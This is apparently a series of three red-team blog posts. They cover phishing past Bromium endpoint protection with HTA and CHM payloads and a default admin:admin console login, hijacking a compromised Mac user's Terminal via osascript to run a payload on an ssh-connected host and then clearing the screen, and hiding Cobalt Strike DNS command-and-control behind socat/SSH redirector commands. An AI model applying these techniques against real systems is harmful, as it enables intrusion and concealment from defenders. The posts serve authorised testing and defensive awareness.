The purpose of this post is to re-iterate that no single solution should be relied upon as a one-stop solution against all attackers. I respect the advances Bromium has made in security however, a defense-in-depth approach should always be taken regarding enterprise security.

Note: This information represents a snapshot in time. The Bromium suite has “hopefully” remediated these issues.

This blog post covers an assessment against a network utilizing the Bromium Endpoint Protection suite. If you’re not familiar with Bromium, there’s a good whitepaper HERE. For now, what you need to know is that it’s an antivirus/antimalware suite that takes it a step further and opens “most” executable’s, office documents and browsers inside micro-VM spaces to “prevent” exploitation to the host machine.

I identified that the organization was using Bromium by enumerating LinkedIn profiles. I first decided to use a custom (HTML Application) HTA. While Cobalt Strike has the ability to generate HTA’s directly, I wanted to make sure that mine executed a fully-staged payload and would get past any proxies or internal filters. I generated a fully-staged PowerShell payload in Cobalt Strike and hosted it on a team server so that it was available to the Internet. A fellow co-worker and I came up with an HTA profile that would include all of the information needed to get through most internal filters and proxies. You may find the code HERE.

After sending the phishing email, about 30 minutes passed and I noticed the Cobalt Strike web log was receiving hits to the fully-staged PowerShell payload and shortly after, I had beacons calling back. Success! I’ve successfully phished a Bromium protected endpoint by utilizing the HTA executable.

Next, I performed my usual enumeration steps, checking what is my current access level, and what is the host connected to on the network. After a quick “netstat –an |findstr “EST” in the established Beacon, I noticed every host was connected to port 80 on one specific server. I set one beacon to sleep at 0 seconds and started a SOCKS tunnel. After directing my browser through the proxy to the target host on port 80, we were greeted with the login page for the “Bromium Enterprise Controller”.

Most of you know what’s going to happen next. Yes, the login was admin:admin and I was logged in as the administratos of the entire infrastructure’s Bromium management console. From here I could monitor the blue team’s actions, what payloads of mine may be being flagged and even stop Bromium vSentry on any host in the organization. I immediately noticed that the blue team had flagged my “HTA” as an executable document and successfully burned that payload for any future phishing campaigns. Knowing that the blue team was quick to react to our phishing campaigns and block payloads, I decided to exercise them with one more phishing campaign and a new payload.

This time I decided to utilize a Microsoft Compile HTML (CHM) payload. These files are executable and pop little help screens. Creating one requires installation of “HTML Help Workshop”. There is a great script that is part of the Nishang framework for compiling these quickly HERE. My phishing ruse this time was to be a “Phishing Alert: Corrective action required” email. My payload was disguised as a Bromium update package and the email was spoofed to come from the lead security official within the organization. Again I hosted the .chm file in Cobalt Strike for a web delivery. One important thing to note with sending out CHM files this way. When the user downloads the file, they have to right-click the .chm file, select properties and check the “unblock” box. What? Who would go through all that trouble? Well, after sending a few more emails I was greeted with more beacons! Remember, with the proper ruse, people will do what you ask them to do.

That’s the conclusion of my story about phishing against Bromium. I was able to successfully bypass the seemingly default settings of Bromium to gain a foothold on my target domain. Defenders, don’t rely on a single solution to block everything. It only takes hackers one time to be right. I hope this story helps others exercise their client’s defenses and everyone learns some valuable lessons.

Recently, I had a situation where the possibility of manipulating a MacOS terminal window through Empire might lead to lateral movement to a restricted area. Typically, I may “backdoor” an ssh configuration file as described here in order to “ride” an ssh connection to a high-value target. Sometimes, this may not be possible if time does not permit or MaxSessions is set on the sshd_config file. In this case, it may be useful to manipulate your target’s own terminal screen to execute commands on a remote host that they are ssh’d into.

Case study:

Our target is operating on MacOS, we have compromised their host using the Empire python RAT. Our target is ssh’d into a restricted host that we want access to. The server we want access to has restricted the max number of ssh sessions with the “MaxSessions” setting in the sshd_config file so that even if we backdoor the user’s ssh config file, we won’t be able to ride the session. What do we do? Enter osascript.

There’s a ton of resources if you google sending commands to a terminal window with osascript but, I’ll reference this post.

First, we’ll start with a simple setup of an Empire server running on a public IP.

Next, we’ll assume breach for this exercise and start with an agent running on a MacOS host.

In order do execute our payload on our restricted host, we’ll need to first generate a payload. We’ll host this payload on our external server using “python -m SimpleHTTPSever 8080”.

After a little enumeration using netstat and we find that our target is ssh’d into a high-value target that we want access too.

So what do we do here? Our target has access to the HVT that we need access to but, we can’t ride this access. Let’s decide to do something bold and send a command to their terminal screen. (Best done when they are away, perhaps at lunch). Using osascript as shown below, we can send a command to the terminal screen that is ssh’d into our target to download our payload to the remote host.

The following shot shows the victim’s terminal screen downloading our payload on the remote Vultr “HVT” that we wanted access too.

Now that we’ve successfully downloaded our payload to the remote HVT, we can send a few more commands to make our payload executable and run it on the remote host. As you can see the end result is a new Empire agent coming from our HVT that we previously did not have access too.

Now, if your target user comes back from lunch and see’s this activity in their terminal screen, you’re obviously going to have a bad day. So, we can just clear their terminal screen with the following command and hopefully, they won’t be the wiser:

“shell osascript -e ‘tell application “Terminal” to activate’ -e ‘tell application “Terminal” to do script “clear” in window 1′”

Keep in mind this is just one possible way to use Empire and osascript to reach otherwise restricted targets. Hopefully, others find this useful. Good luck and hack wisely!

While conducting a Red Team assessment, many factors come into play that result in success or failure of the operation. One such factor is keeping your Command and Control (C2) infrastructure hidden from the opposing (Blue) team. If your C2 is found and blocked, that may be the end of your assessment. At least, it’ll slow you down while you re-roll infrastructure (which is NOT fun). Using pure DNS traffic with Cobalt Strike is one layer to hide your communications from endpoint to C2; however, if the blue team is able to conduct a recursive DNS lookup to find your team server, you’re hosed! We can prevent the blue team from conducting these reverse lookups by using a host that redirects and “hides” our traffic with some network-bending kung fu.

During my research, I found a handy write-up on a few ways to bend DNS traffic the way that we need to for Beacon traffic here. I want this post to be as comprehensive for users as possible. It is my goal for this to be used as a reference guide so, I’ll be covering starting from creating your DNS record to setting up your Cobalt Strike DNS listener and all points between.

Let me start by saying that I do not have any affiliation or preference with the service providers I am using in this post.  Use what you’re comfortable with.

To get started, we need to have a server running our Cobalt Strike team server and a server running as our redirector. Like so:

I recommend having your Cobalt Strike team server on a completely different subnet than your redirector. You can use the same VPS service to spin up both servers, but I recommend going the extra mile and using separate VPS providers for each server. If your redirector is somehow burned by the blue team, they may not only block your IP or range, but some have gone the distance to block VPS provider ranges completely.

We will need to create two DNS records to point to our infrastructure. Since we want our traffic to flow through our redirector, we’ll want to point our first “A” record to the redirector, not our team server. Then, we can create a Name Server(NS) record that points to our domain. The logic here is that when a query is done for our domain, our records tell the query that our name server will resolve the IP for you. Here is an example setup:

Now, if we conduct an nslookup, we’ll see that it does not currently resolve to anything.

Next, we start our team server and setup a DNS listener. SSH into your team server and change to your Cobalt Strike directory. To start your team server, run “./teamserver ”. Now, from any location, firewalls permitting, you should be able to connect to your Cobalt Strike team server.

We need to setup our “DNS Server”. Cobalt Strike has a built-in DNS listener that will do just that and wait for incoming Beacons as well. Navigate from the “Cobalt Strike” menu to the “Listeners” option. Give your listener a name, select “windows/beacon_dns_reverse_dns_txt”, set your host IP address if it’s not already filled in and provide a port. This port is arbitrary for straight DNS but, would be used if the mode is changed to “http_txt”.

You will then be prompted to provide a domain for Beacon taskings. Fill out the prompt as shown:

That completes our setup of Cobalt Strike.

Next, we’ll move on to the network bending-fu needed to tunnel our DNS traffic from redirector to team server.SSH into your redirector and sudo to root. We need to start by installing some packages. Use “ apt-get install -y socat screen” to conduct the installation. This will install socat, which is our traffic redirecting tool. It will also install screen, which allows us to run our commands in attachable/detachable terminal screens for easy management. With setup complete, we’ll start bending our traffic!

First, we want to run the following two commands to start a screen session and execute our socat redirector in it. Type them exactly as shown.

screen -dmS socat

screen -S socat -p 0 -X stuff ‘socat udp4-listen:53,reuseaddr,fork tcp:localhost:53535; echo -ne \n’

A quick breakdown of the socat command. socat will listen on port 53 for any UDP traffic. It will then fork every packet that comes in and relay it over TCP to local port 53535. The “echo -ne \n” command just hits enter for you in your screen to execute the command.

Next, we want to tunnel this traffic securely to our Cobalt Strike team server. The next two commands will start a screen session and execute our SSH tunnel with port forwarding to the team server as needed. Replace “ssh_key”, “username” and “teamserver_ip” with your relevant values.

screen -dmS ssh1

screen -S ssh1 -p 0 -X stuff “ssh -i ssh_key -oStrictHostKeyChecking=no -L 53535:localhost:53535 -l username teamserver_ip; echo -ne \n;”

This SSH command will automatically accept the fingerprint prompt by setting StrictHostKeyChecking to “no”. Then, it will redirect your traffic from port 53535 to the same port on the remote team server over TCP All securely wrapped in our SSH tunnel.

Finally, we need one more command to start socat on our Cobalt Strike team server. The following command will SSH to the team server and execute socat for us.

ssh -oStrictHostKeyChecking=no -i ssh_key -l username teamserver_ip ‘socat tcp4-listen:53535,reuseaddr,fork UDP:localhost:53 &’

This socat command takes the UDP traffic that we’ve forced through our TCP tunnel on port 53535 and then re-forks that back to UDP port 53. At this point, our Cobalt Strike team server listening on port 53 will happily pick up that traffic for us!

Once this is all complete, an nslookup should provide the following results:

Success! This tells us that our Cobalt Strike server is successfully responding to lookups through the redirector. The Blue Team will be in the dark on exactly where your team server C2 resides! Also, if for some reason your redirector is blocked or burned, you won’t need to rebuild your team server. Just spin up a new redirector and DNS records.

I hope this post provides useful information for both sides of the spectrum. Feel free to ping me on twitter should you have any questions @424f424